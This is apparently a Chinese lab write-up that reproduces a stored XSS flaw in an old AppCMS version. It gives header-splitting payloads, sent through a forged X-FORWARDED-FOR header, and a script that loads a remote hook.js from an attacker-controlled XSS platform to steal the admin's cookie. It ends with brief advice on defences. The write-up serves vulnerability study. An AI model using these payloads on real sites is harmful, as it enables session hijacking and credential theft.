君衍.
- 一、环境介绍
- 二、环境部署
- 三、测试回显
- 四、多次注入
- 1、第一条评论
- 2、第二条评论
- 3、管理员登录查看
- 五、编写脚本获取cookie
一、环境介绍
这里需要注意,我没有找到原有的该环境源码包,因为这个是很久前的漏洞了,在XSS学习中可以查看下该漏洞,存储型XSS。准确的版本应该是2以下的,appcms1.3.890
肯定存在该漏洞,可以进行复现。
这里很多文章都没有提及,也让我找了好久,害 (原源码包不好找)
当然,这里我们也是有机会使用别的版本进行复现的,那就是直接到数据库中改······
这也是没办法中的办法,源码可以在github中搜索,appcms进行下载,一般下载都是2版本以上:
所以,我们如果查看源码就会发现之前那个漏洞利用使用到了X-FORWARDED-FOR
标头:
但是在这个版本中其实并没有用到这个请求标头:
所以这里原本使用伪造IP地址,我就要在文中直接进行数据库更改了,但是文中我尽量体现原有版本步骤,其实这里我用的是上方那个版本,使用伪造其实是不成功大的,同时,我也测试过加上这个请求标头,后来发现并不能通过改包实现对IP地址字段的更改,这里我还是在数据库中进行直接更改。
中间件选择使用Nginx以及Apache都行,不影响,数据库也一样。
二、环境部署
首先从github上下载源码,这个一搜appcms即可找到安装包,有个7年前的,一下载,然后解压到小皮的网站根目录下:
下面进行访问该目录,这里使用本机IP地址进行访问,不使用127.0.0.1,因为我们之后要进行抓包改包。
可以看到我这里IP地址为10.107.135.79,然后我们访问:
ip地址/appcms-master
点击开始安装:
点击下一步:
再点击下一步:
这里我们设置当前数据库的密码,从而使该网站连接到数据库,以及管理员的密码。 安全码设置不设置都一样,直接下一步:
可以看到安装完成,然后报错了不用管,不影响我们使用,这里猜测依旧是版本问题,问题不大。
然后我们点击管理首页:
这里说我们要改管理员目录的名称,随便改,我这里改为zy:
然后我们访问这个目录:
正确访问,方便我们之后使用,环境得先搞好,害。登录后即可环境配置完成:
我这里显示有点奇葩,不过问题不大,搞得能用。
三、测试回显
我们想要完成存储型XSS,那肯定是需要写入数据库当中,从而完成注入,所以这里我们使用该网站的评论功能:(找了半天也就这一个能用)
我们点击往下滑即可看到评论:
首先我们可以看到这里可以进行提交内容,同时评论一般情况下肯定在页面上进行显示的,所以我们先提交测试的,观察回显:
这里我们就提交一个注释吧,看能闭合掉不
第一次提交:*/
第二次提交:/*
账户什么随便填,我们主要观察回显的顺序以及内容:
点击提交:
再次提交第二个测试:
点击提交:
提交之后我们查看源码:
这里我们可以看到并没有完成闭合,但是评论回显是倒序出现的,同时中间夹着我们本机的IP地址,这个IP我们是否可以进行利用,从而配合我们的评论完成XSS注入。其实是可以的,这里我们需要用到X-FORWARDED-FOR
来进行HTTP请求端真实IP伪造,通过这个字段将IP地址进行伪造为我们使用的payload。
思路确定了,我们使用多次注入的方式,同测试一样完成我们的闭合,即:
正常payload:
<script>alert(11111)</script>
达成的效果(将中间的代码注释掉):
<script>/**/alert(11111)/**/</script>
多次注入:
<script>/*
*/alert(11111)/*
*/</script>
将payload多次拆分,使用两条留言完成注入:
第一次:
内容:*/alert(11111)
IP伪造为:X-FORWARDED-FOR: */</script>
第二次:
内容:随意都行
IP伪造为:X-FORWARDED-FOR: <script>/*
四、多次注入
我们上面分析了注入思路,下面我们开始注入:
1、第一条评论
内容:*/alert(11111)
然后使用Burp进行抓包改包(伪造IP):
可以看到这里成功抓到,然后我们添加标头:
X-FORWARDED-FOR: */</script>
然后放通,即可看到留言成功:
当然,我们也可以在数据库中找到:
可以看到这里已经成功留言了:
2、第二条评论
第二次留言我们只需将其IP进行伪造就成:
X-FORWARDED-FOR: <script>/*
添加标头来伪造IP:
然后点击放通:
即可留言成功,观察数据库得:
3、管理员登录查看
这里准备工作已经做完了,我们只需要登录管理员账户查看评论管理即可:
查看评论管理:
很明显可以看到这里进行了弹窗,点击确定查看评论:
我们可以看到这里没有了zy3得评论,同时zy4账户IP消失了,这才是正确的界面,其他文章在此或多或少有错误。这里我们查看源码便可知道原因:
这里便可看到我们输入的第一条留言被注释掉了,所以无法显示。
五、编写脚本获取cookie
var scriptElement = document.createElement('script');
scriptElement.src ='http://172.16.100.1:3000/hook.js';
document.body.appendChild(scriptElement);
我们可以编写一串上面的代码,将远程的JS文件加载到当前页面中,远程JS位于我们的XSS平台,从而获取管理员的cookie。
同样使用上面的方式,多次注入:
第一次:
内容:*/var scriptElement = document.createElement('script');scriptElement.src ='http://172.16.100.1:3000/hook.js';document.body.appendChild(scriptElement);/*
IP伪造为:X-FORWARDED-FOR: */</script>
第二次:
内容:随意都行
IP伪造为:X-FORWARDED-FOR: <script>/*
这里便不再演示,我们直接看最后管理员查看评论管理:
我们刷新可以看到这里去请求了我们的XSS平台,所以我们获取到cookie后即可完成登录。
存储型 XSS 攻击就是攻击者通过在网站上存储恶意脚本代码,通常是在数据库中或其他数据存储位置,然后在用户浏览该网站时触发执行这些脚本,从而实现窃取用户敏感信息、劫持用户会话、篡改网页内容等恶意行为。防范存储型 XSS 的关键在于对用户输入进行适当的验证、过滤和转义,来确保用户提供的数据不会被误解为可执行的脚本。